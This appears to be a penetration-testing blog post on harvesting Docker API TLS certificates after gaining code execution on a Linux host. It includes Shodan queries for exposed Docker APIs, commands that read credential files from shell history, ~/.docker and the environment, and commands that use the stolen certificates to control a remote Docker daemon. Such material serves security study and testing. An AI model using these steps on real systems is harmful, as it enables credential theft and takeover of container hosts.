Harvesting Docker API Certificates During Post-Exploitation

 



 

Harvesting passwords, keys, and certificates is an important part of post-exploitation.  The focus of this post, is how to harvest and make use of certificates which grant access to a remote Docker API that is locked down with mutually authenticated TLS. Such access may allow the attacker not only full access to all containers running on the remote Docker server, but also the ability to gain access to the remote host itself. Let me first note before we get into this that according to Shodan there are currently 1,316 exposed Docker APIs served up over HTTP across the world. These targets do not require any authentication in order to manage the Docker environment. In the common scenario where access authorization plugins are not employed, this dumpster fire of targets can be exploited trivially. Check out the corresponding Shodan CLI command:

shodan count port:2375 product:docker image

Shodan also shows that 66 Docker APIs which require TLS are exposed to the Internet:

shodan count port:2376 product:docker has_ssl:true

Don't get too excited about that though, because 55 of those 66 are not actually enforcing mutual authentication:

shodan count port:2376 product:docker has_ssl:true image

Targets not requiring mutual authentication can still be trivially accessed without any client authentication using curl instead of the Docker client:

curl --insecure https://x.x.x.x:2376/images/json

 

These numbers do not even include cases where firewalls are being used to lockdown the API to specific source IP addresses, which still exposes the API to sniffing of the unencrypted traffic, so things could be worse.

On that not-at-all disturbing note, let's move on to harvesting certificates during post-exploitation. In the case of a Linux based victim in which you have gained RCE, start by searching the command history (for Windows victims, see References section).

Command: history | grep tlsverify
Output: docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H x.x.x.x:2376 images

You may be able to use the above method to determine the filenames of the certificates in addition to the IP address of the Docker API (represented in the output as x.x.x.x). If not, try looking for the .pem files in ~/.docker which is where the Docker client looks by default. The client also by default checks the DOCKER_HOST environment variable to determine the IP address of the Docker API.

Command: ls ~/.docker
Output: ca.pem cert.pem key.pem
 

Command: env | grep DOCKER
Output: DOCKER_HOST=tcp://x.x.x.x:2376


Once you have exfiltrated the .pem files and the host's IP/port, you can use Docker from your local machine to pivot to the remote Docker API for exploitation:

docker --tlsverify --tlscacert=ca.pem --tlscert=cert.pem --tlskey=key.pem -H x.x.x.x:2376 images

Or use curl:

curl https://x.x.x.x:2376/images/json --cert ~/.docker/cert.pem --key ~/.docker/key.pem --cacert ~/.docker/ca.pem

 

References:

https://github.com/MicrosoftDocs/Virtualization-Documentation/tree/master/windows-server-container-tools/DockerTLS

https://stefanscherer.github.io/protecting-a-windows-2016-docker-engine-with-tls/

https://docs.docker.com/engine/security/https/

https://docs.docker.com/engine/extend/plugins_authorization/

https://docs.docker.com/engine/security/

https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/

https://securityboulevard.com/2019/02/abusing-docker-api-socket/

https://medium.com/@riccardo.ancarani94/attacking-docker-exposed-api-3e01ffc3c124

https://cheatsheetseries.owasp.org/cheatsheets/Docker_Security_Cheat_Sheet.html

Comments

Popular Posts